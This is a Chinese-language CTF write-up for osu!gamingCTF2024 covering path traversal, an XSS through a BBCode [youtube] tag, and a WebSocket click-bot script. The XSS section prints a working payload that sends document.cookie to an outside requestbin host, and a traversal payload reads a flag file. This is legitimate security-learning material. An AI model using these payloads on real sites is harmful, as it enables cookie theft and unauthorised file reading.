osu!gamingCTF2024 wp
和很多人一起玩了这个比赛,很有意思
teamName: Ciallo
rank: #65
points: 3243
blockchain (0/3 solved) -> 0/3243
crypto (6/8 solved) -> 744/3243
forensics (1/5 solved) -> 117/3243
misc (3/9 solved) -> 304/3243
osint (1/4 solved) ->106/3243
osu (5/10 solved) -> 550/3243
pwn (3/4 solved) -> 422/3243
reverse (4/5 solved) -> 533/3243
web (4/6 solved) -> 467/3243
mikufanpage(490 solves / 104 points)
https://mikufanpage.web.osugaming.lol/
打开网页里面是一个图片的幻灯片循环播放,题目给了附件
题目目录是这样的
│ app.js
│ package-lock.json
│ package.json
│
├─img
│ flag.txt
│ miku1.jpg
│ miku2.jpg
│ miku3.png
│ miku4.png
│ miku5.jpg
│ miku6.png
│ miku7.jpg
│
└─public
cube.mp3
dance.gif
favicon.ico
index.html
主要看app.js
const express = require('express');
const path = require('path');
const app = express();
const PORT = process.env.PORT ?? 3000;
app.use(express.static(path.join(__dirname, 'public')));
app.listen(PORT, (err) =>{
if(!err)
console.log("mikufanpage running on port "+ PORT)
else
console.log("Err ", err);
});
app.get("/image", (req, res) => {
if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
res.sendFile(path.resolve('./img/' + req.query.path));
} else {
res.status(403).send('Access Denied');
}
});
我们的目的是要读取img下的flag.txt,关键代码如下
if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg")
根据点来分割得到后缀名,那我们只需要用点把”png” 包裹住然后再在后面用 ../ 进行目录穿越即可,最后payload就是
/image?path=miku1.jpg./../flag.txt
得到flag
osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}
when-you-dont-see-it(235 solves / 111 points)
https://osu.ppy.sh/users/11118671
给了一个osu的用户界面
右键查看源代码搜索flag,在最后一个flag出找到flag提示(这题解的人少的原因估计是搜索出来有342个flag字样然后懒得看吧= =)
[color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64
base64解码一下得到flag
osu{ok_u_see_me}
profile-page(190 solves / 114 points)
https://profile-page.web.osugaming.lol/login
https://adminbot.web.osugaming.lol/profile-page
给了两个网页,一个用户登录注册页面,一个检查访问页面并且给了题目附件
先简单看一下两个页面实现了什么再进行代码审计
首先是登录注册的注册好之后会直接登录,登录进去的用户界面是一个仿osu官网的用户界面
然后是检查访问界面
输入你用户的url会有一个机器人访问你的用户界面
有机器人进行页面访问,那猜测大概率是xss题了
ok,接下来我们看题目的源码先看app.js
//app.js
import express from "express";
import expressSession from "express-session";
import cookieParser from "cookie-parser";
import crypto from "crypto";
import { JSDOM } from "jsdom";
import DOMPurify from "dompurify";
const app = express();
const PORT = process.env.PORT || 2727;
app.use(express.urlencoded({ extended: false }));
app.use(expressSession({
secret: crypto.randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: false
}));
app.use(express.static("public"));
app.use(cookieParser());
app.set("view engine", "hbs");
app.use((req, res, next) => {
if (req.session.user && users.has(req.session.user)) {
req.user = users.get(req.session.user);
res.locals.user = req.user;
}
next();
});
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const renderBBCode = (data) => {
data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
return data;
};
const renderBio = (data) => {
const html = renderBBCode(data);
const sanitized = purify.sanitize(html);
// do this after sanitization because otherwise iframe will be removed
return sanitized.replaceAll(
/\[youtube\](.+?)\[\/youtube\]/g,
'<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
);
};
const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');
const users = new Map();
const requiresLogin = (req, res, next) => req.user ? next() : res.redirect("/login");
app.post("/api/register", (req, res) => {
const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") {
return res.end("missing username or password");
}
if (username.length < 5 || password.length < 8) {
return res.end("username or password too short");
}
if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) {
return res.end("invalid username format");
}
if (users.has(username)) {
return res.end("a user already exists with that username");
}
users.set(username, {
username,
password: sha256(password),
bio: renderBio(`Welcome to ${username}'s page!`)
});
req.session.user = username;
res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
res.redirect("/profile/" + username);
});
app.post("/api/login", (req, res) => {
const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") {
return res.end("missing username or password");
}
if (!users.has(username)) {
return res.end("no user exists with that username");
}
if (users.get(username).password !== sha256(password)) {
return res.end("invalid password");
}
req.session.user = username;
res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
res.redirect("/profile/" + username);
});
// TODO: update bio from UI
app.post("/api/update", requiresLogin, (req, res) => {
const { bio } = req.body;
if (!bio || typeof bio !== "string") {
return res.end("missing bio");
}
if (!req.headers.csrf) {
return res.end("missing csrf token");
}
if (req.headers.csrf !== req.cookies.csrf) {
return res.end("invalid csrf token");
}
if (bio.length > 2048) {
return res.end("bio too long");
}
req.user.bio = renderBio(bio);
res.send(`Bio updated!`);
});
app.get("/login", (req, res) => res.render("login"));
app.get("/register", (req, res) => res.render("register"));
app.get("/profile", requiresLogin, (req, res) => res.redirect("/profile/" + req.user.username));
app.get("/profile/:user", (req, res) => {
const { user } = req.params;
if (!users.has(user)) {
return res.end("no user exists with that username!");
}
res.locals.user = users.get(user);
res.render("profile");
});
app.get("/", (req, res) => res.redirect("/profile"));
app.get('*', (req, res) => {
res.set("Content-Type", "text/plain");
res.status = 404;
res.send(`Error: ${req.originalUrl} was not found`);
});
app.listen(PORT, () => console.log(`web/profile-page listening at http://localhost:${PORT}`));
这个是登录注册的源码,里面有三个api路由和一个用户界面,每个路由进行分析
(虽然一眼看过去就知道是上面data.replaceAll有问题,但是因为代码审计能力太弱了,完全没有看见,导致做了将近两个小时,还是通过一点点非预期才看见的,谢罪了)
app.post("/api/register", (req, res) => {
const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") {
return res.end("missing username or password");
}
if (username.length < 5 || password.length < 8) {
return res.end("username or password too short");
}
if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) {
return res.end("invalid username format");
}
if (users.has(username)) {
return res.end("a user already exists with that username");
}
users.set(username, {
username,
password: sha256(password),
bio: renderBio(`Welcome to ${username}'s page!`)
});
req.session.user = username;
res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
res.redirect("/profile/" + username);
});
注册的api限制了用户名长度(5,30),且只能有数字字母,且用户名不能和别人重复,密码长度大于8,并且将用户名解析在bio中(没有xss的经验让我找了快半小时only数字字母xss的技巧无果才看其他地方的)
然后是登录
app.post("/api/login", (req, res) => {
const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") {
return res.end("missing username or password");
}
if (!users.has(username)) {
return res.end("no user exists with that username");
}
if (users.get(username).password !== sha256(password)) {
return res.end("invalid password");
}
req.session.user = username;
res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
res.redirect("/profile/" + username);
});
就是检测map中值对应是否正确,没有想到可以利用的地方
最后是关键的/api/update
// TODO: update bio from UI
app.post("/api/update", requiresLogin, (req, res) => {
const { bio } = req.body;
if (!bio || typeof bio !== "string") {
return res.end("missing bio");
}
if (!req.headers.csrf) {
return res.end("missing csrf token");
}
if (req.headers.csrf !== req.cookies.csrf) {
return res.end("invalid csrf token");
}
if (bio.length > 2048) {
return res.end("bio too long");
}
req.user.bio = renderBio(bio);
res.send(`Bio updated!`);
});
会把update的bio显示在ui上,并且除了DOMPurify没有任何限制,那么显然注入点就在这里了
跟着分析,我们需要构造的bio,看看这个修改bio的函数renderBio()
const renderBBCode = (data) => {
data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
return data;
};
const renderBio = (data) => {
const html = renderBBCode(data);
const sanitized = purify.sanitize(html);
// do this after sanitization because otherwise iframe will be removed
return sanitized.replaceAll(
/\[youtube\](.+?)\[\/youtube\]/g,
'<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
);
};
会把固定格式替换成html标签,下面就简单了,闭合一下$1处的引号,构造payload尝试一下
[youtube]1" onload="alert(1);[/youtube]
控制台发送请求
await fetch('/api/update',{
method: 'POST',
headers: {
csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5',
'content-type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
bio: '[youtube]11" onload="alert(1)" [/youtube]'
}).toString()
}).then(r=>r.text())
弹窗成功
接下来就简单看一下机器人
//adminbot_test.js
// admin bot test script
// npm i puppeteer
const puppeteer = require("puppeteer");
const FLAG = "osu{test_flag}";
const SITE = "https://profile-page.web.osugaming.lol";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function visit(url) {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
let page = await browser.newPage();
await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
document.cookie = "flag=" + flag + "; secure; path=/";
}, FLAG);
await page.close();
page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
}
visit("EXPLOIT_URL");
机器人直接把flag写在cookie里,访问一下应该就有了
接下来就是找个站接收,推荐用这个站https://pipedream.com/requestbin
await fetch('/api/update',{
method: 'POST',
headers: {
csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5',
'content-type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
bio: '[youtube]11" onload="fetch(`https://eonngzestk4l8vk.m.pipedream.net/`)" [/youtube]'
}).toString()
}).then(r=>r.text())
然后把用户页面丢到机器人那里,发现并没有把cookie带出来,修改一下payload,让url把cookie带回来
await fetch('/api/update',{
method: 'POST',
headers: {
csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5',
'content-type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
bio: '[youtube]11" onload="fetch(`https://eonngzestk4l8vk.m.pipedream.net/`+document.cookie)" [/youtube]'
}).toString()
}).then(r=>r.text())
成功得到flag
osu{but_all_i_w4nted_to_do_was_w4tch_y0utube...}
至于说上面的一点点非预期,简单解释一下,因为是公共靶机,你可以通过公共靶机访问别人创建的任何账号,并且没有任何检查限制,幸运的我尝试的第一个用户(111111111)就是成功的,访问了之后发现他用户信息那边有图片,好奇怎么插入图片的,就找到了bio,我一开始还看不懂bio是什么,最后就顺藤摸瓜了做了出来= =
stream-vs(79 solves / 138 points)
https://stream-vs.web.osugaming.lol/
里面是一个小游戏,一开始没搞懂什么意思,简单玩了一会发现是点击频率要和bpm一样,然后打败cookiezi获得flag,这时候就需要写脚本了
直接执行肯定会慢几拍,所以需要从开始就执行,可以用js的WebSocket访问执行,然后读取bpm然后模拟,下面给出代码(晨曦大佬写的脚本)
let ws = new WebSocket('wss://stream-vs.web.osugaming.lol');
let clicks = new Set();
ws.onopen = () => {
ws.send(JSON.stringify({ type: "login", data: "admin4" }));
ws.send(JSON.stringify({ type: "challenge" }));
ws.send(JSON.stringify({ type: "start" }));
};
ws.onmessage = e => {
const { type, data } = JSON.parse(e.data);
console.log(data);
run(data);
}
const run = async (session) => {
let bmp = session.songs[session.round].bpm;
console.log("bmp = "+bmp);
clicks.clear();
let start = +new Date();
recording = true;
let click_data = performance.now();
let end = start + session.songs[session.round].duration * 1000;
let times = end - start;
console.log("times = "+times);
let cnt = Math.round(bmp * 4 /60000 * times);
console.log("cnt = "+cnt);
for(let i=0;i<=cnt; i++)
{
clicks.add(click_data+0.00999998808);
}
recording = false;
ws.send(JSON.stringify({ type: "results", data: { clicks: [...clicks], start, end } }));
};
run了之后在控制台看见flag
osu{are_y0u_a_r0b0t?}